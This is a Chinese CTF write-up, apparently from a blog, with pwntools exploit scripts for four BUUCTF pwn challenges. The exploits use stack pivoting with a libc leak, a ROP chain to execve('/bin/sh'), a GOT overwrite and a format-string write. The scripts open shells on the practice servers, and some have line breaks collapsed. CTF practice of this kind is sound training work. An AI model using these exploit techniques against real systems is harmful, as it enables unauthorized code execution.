PWN-PRACTICE-BUUCTF-20
PWN-PRACTICE-BUUCTF-20
- actf_2019_babystack
- picoctf_2018_can_you_gets_me
- picoctf_2018_got_shell
- mrctf2020_easy_equation
actf_2019_babystack
两次栈迁移
# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
#io=process("./ACTF_2019_babystack")
io=remote("node4.buuoj.cn",25080)
elf=ELF("./ACTF_2019_babystack")
libc=ELF("./libc-2.27-18-x64.so")
leave_ret=0x0000000000400A18
pop_rdi_ret=0x0000000000400ad3
ret=0x0000000000400709
atol_got=elf.got["atol"]
puts_plt=elf.plt["puts"]
main=0x00000000004008F6io.sendlineafter(">","224")io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)#栈上,输入的起始地址
print("stack_addr=="+hex(stack_addr))#payload中最开始的"a"*8是抵消pop rbp
payload="a"*8+p64(pop_rdi_ret)+p64(atol_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)#覆盖正常流程的rbp为输入的起始地址,返回到leave_ret的gadget
io.sendafter(">",payload)
atol_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("atol_addr=="+hex(atol_addr))
libc_base=atol_addr-libc.sym["atol"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()#重复一次上面的操作,这次执行system("/bin/sh"),输入的起始地址改变,需重新获取
io.sendlineafter(">","224")
io.recvuntil("be saved at 0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)
print("stack_addr=="+hex(stack_addr))
payload="a"*8+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)+p64(main)
payload=payload.ljust(208,"\x00")
payload+=p64(stack_addr)+p64(leave_ret)
io.sendafter(">",payload)io.interactive()
picoctf_2018_can_you_gets_me
32位elf,静态编译
可用ROPgadget直接形成ROP链
ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain
然后就是栈溢出,ROP
from pwn import *
from struct import pack
#io=process('./PicoCTF_2018_can-you-gets-me')
io=remote('node4.buuoj.cn',25065)
def ROPchain():p = 'a'*(0x18+4)p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b81c6) # pop eax ; retp += '/bin'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b81c6) # pop eax ; retp += '//sh'p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de955) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806f02a) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x08049303) # xor eax, eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0807a86f) # inc eax ; retp += pack('<I', 0x0806cc25) # int 0x80return p
payload=ROPchain()
io.recvuntil('GIVE ME YOUR NAME!\n')
io.sendline(payload)
io.interactive()
picoctf_2018_got_shell
32位elf,可以执行一次任意写
在执行完任意写后还有一条puts语句,于是可以通过puts_got修改puts的实际地址为win的地址
from pwn import *
#io=process('./PicoCTF_2018_got-shell')
io=remote('node4.buuoj.cn',29148)
elf=ELF('./PicoCTF_2018_got-shell')
puts_got=elf.got['puts']
win_addr=elf.sym['win']
io.recvuntil("this 4 byte value?\n")
io.sendline(hex(puts_got))
io.recvuntil("\n")
io.sendline(hex(win_addr))
io.interactive()
mrctf2020_easy_equation
格式化字符串漏洞,将变量judge的值覆写为2,即可满足等式
from pwn import *
#io=process('./mrctf2020_easy_equation')
io=remote('node4.buuoj.cn',27776)
judge=0x60105C
payload='aa%9$naaa'+p64(judge)
io.sendline(payload)
io.interactive()
PWN-PRACTICE-BUUCTF-20相关推荐
- 金海佳学C++primer 练习9.20
将list中的元素按奇偶分到两个deque中 Practice 9.20 #include <iostream> #include <string> #include < ...
- 基于软件分析的智能化开发新型服务与技术
摘要:从云服务厂商的角度来给大家介绍一下,当前业界围绕该领域要做哪些事情. 本文分享自华为云社区<基于软件分析的智能化开发新型服务与技术>,作者:敏捷的小智 . 本文以技术文章的方式回顾梁 ...
- 软件人员推荐书目(都是国外经典书籍!!!)
软件人员推荐书目(一) 大师篇 一. 科学哲学和管理哲学 [1] "程序开发心理学"(The Psychology of Computer Programming : Silve ...
- C++程序设计原理与实践 习题答案 第十五章 第15章习题答案
第十五章:容器和迭代器 习题答案 Document 本章的文本编辑器实现,添加了一些功能 Document.h Document.cpp main.cpp 测试 List_Circular.h 我自己 ...
- 《安富莱嵌入式周报》第311期:300V可调节全隔离USB PD电源,开源交流负载分析仪,CANFD Trace,6位半多斜率精密ADC设计,开源数学库
周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Pow ...
- 计算机专业经典著作(转载)
计算机专业经典著作 国外计算机专业必读的经典教材: 1. Introduction to Algorithms (3rd Edition) <算法导论(原书第3版)> 2. Thinkin ...
- MASA Framework 命令查询职责分离
概念 CQRS (https://learn.microsoft.com/zh-cn/azure/architecture/patterns/cqrs)是一种与领域驱动设计和事件溯源相关的架构模式, ...
- SSM+mysql公众养老服务网上预订系统-计算机毕业设计源码59782
摘 要 本论文主要论述了如何使用JAVA语言开发一个公众养老服务网上预订系统,本系统将严格按照软件开发流程进行各个阶段的工作,采用B/S架构,SSM框架进行开发.在引言中,作者将论述公众养老服务网上预 ...
- springboot大学生综合素质测评系统 计算机毕设源码51615
摘 要 为全面提高教育管理水平,建立一个大学生综合素质测评管理系统已经成为目前各高校的共识.本文从实践经验出发,阐述目前高校学生工作管理的信息化现状﹔然后提出大学生综合素质测评管理系统的必要性以及系 ...
- springboot+mysql大学生综合素质测评系统源码51615
springboot大学生综合素质测评系统 摘 要 为全面提高教育管理水平,建立一个大学生综合素质测评管理系统已经成为目前各高校的共识.本文从实践经验出发,阐述目前高校学生工作管理的信息化现状﹔然后 ...
最新文章
- Centos 7 学习之静态IP设置
- 直播回顾 | 数据驱动实践的三大运营场景讲解
- php5.6 event,php安装event扩展
- Android之在linux环境不通过TAG快速过滤日志
- ThinkPHP整合百度Ueditor图文教程
- Error--解决使用Application Loader提交ipa包审核时的报错:ERROR ITMS-90168: The binary you uploaded was invalid....
- MySQL内连接和外连接
- linux杂谈(十七):iscsi存储分离技术
- 原始的Ajax请求方式 (XMLHttpRequest)
- tcpcopy,模拟在线MySQL压力测试的好帮手
- 软件需求最佳实践笔记(一)
- UE4特效萌新上手笔记-Houdini导Niagara配置
- Android DataStore 使用详解
- 国考省考申论:归纳概括多个主体身上的优秀品质,透过动词现象(怎么做的),找到名词(精神品质)本质
- 自然语言理解和自然语言处理_4种自然语言处理和理解的方法
- Android 导出PDF PdfDocument
- python 求最大内切圆和最小外接圆问题
- 小程序完整demo推荐:东航旅行;预订酒店,机票(适用1221)
- 杀怪物(dfs)题解
- 使用PyQT进行可视化编程
热门文章
- AWK高级编程 转载
- 【数据结构与算法】【算法思想】动态规划
- [剑指offer]面试题第[43]题[Leetcode][第233题][JAVA][1~n整数中1出现的次数][找规律][递归]
- [leedcode][409][java]
- python第三方库全部_自动更新Python所有第三方库
- python装饰器调用顺序_聊一聊Python装饰器的代码执行顺序
- mysql日期可以保存时区_数据库存储时间的时区问题
- 包装类java_Java 包装类
- 笔记本如何与其他计算机共享,笔记本电脑怎么和手机共享文件
- leetcode数组汇总_[LeetCode] 300. 最长上升子序列